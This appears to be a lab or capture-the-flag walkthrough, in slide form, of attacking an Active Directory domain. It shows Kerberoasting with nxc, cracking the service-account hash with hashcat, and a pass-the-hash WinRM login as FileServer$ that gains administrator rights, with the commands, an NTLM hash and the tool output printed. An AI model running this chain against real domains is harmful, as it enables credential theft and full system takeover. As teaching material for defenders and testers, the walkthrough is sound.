Active Directory - Kerberoasting

Kerberoasting is a Active Directory (AD) credential enumeration method, which can yield AD service account (SPN) password hashes

Active Directory - Kerberoasting

SPN (Service Principal Name) accounts are service accounts meant for use in an AD environment, and use Kerberos for authentication

Active Directory - Kerberoasting

```
nxc ldap 192.168.200.12 -u ybob317 -p ybob317 --kerberoasting output.txt --kdcHost 192.168.200.12
        192.168.200.12  445    DC01            [*] Windows Server 2022 Build 20348 x64 (name:DC01
JPEDECODE.LOCAL) (signing:True) (SMBv1:False)
        192.168.200.12  389    DC01            [+] SOUPEDECODE.LOCAL\ybob317:ybob317
        192.168.200.12  389    DC01            Bypassing disabled account krbtgt
        192.168.200.12  389    DC01            [*] Total of records returned 5
        192.168.200.12  389    DC01            sAMAccountName: file_svc memberOf:  pwdLastSet: 20
:2:23.726085 lastLogon:<never>
        192.168.200.12  389    DC01            $krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECOD
```

In order to Kerberoast, we need credentials for a domain user account in an AD environment

Active Directory - Kerberoasting

```
└─$ hashcat -m13100 output.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RE
latform #1 [The pocl project]
```

```
└─$ nxc smb 192.168.200.12 -u 'file_svc' -p '[redacted]'
SMB         192.168.200.12  445    DC01             [*] Windows Server 2022 Build 20348 x64 (nam
:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         192.168.200.12  445    DC01             [+] SOUPEDECODE.LOCAL\file_svc:[redacted]!!
```

And if successful, we can use a program to crack the password hashes for the SPN accounts for increased access to the AD joined hosts

Privilege Escalation
Administrator Pass the Hash Attack

```
└─$ netexec winrm 192.168.200.12 -u "FileServer$" -H 'e41da7e79a4c76dbd9cf79d1cb325559'
WINRM       192.168.200.12  5985   DC01             [*] Windows Server 2022 Build 20348
PEDECODE.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWa
ed to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from thi
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.200.12  5985   DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e
b325559 (Pwn3d!)
```

If we have password hashes for Windows users, there are several services that accept hashes in the place of passwords, such as WinRM

Privilege Escalation
Administrator Pass the Hash Attack

```
PS C:\Users\FileServer$\Documents> whoami /groups
```

```
BUILTIN\Administrators                                      Alias
 Mandatory group, Enabled by default, Enabled group, Group owner
```

If we can login as the Fileserver$ user with WinRM, we effectively have full control over the system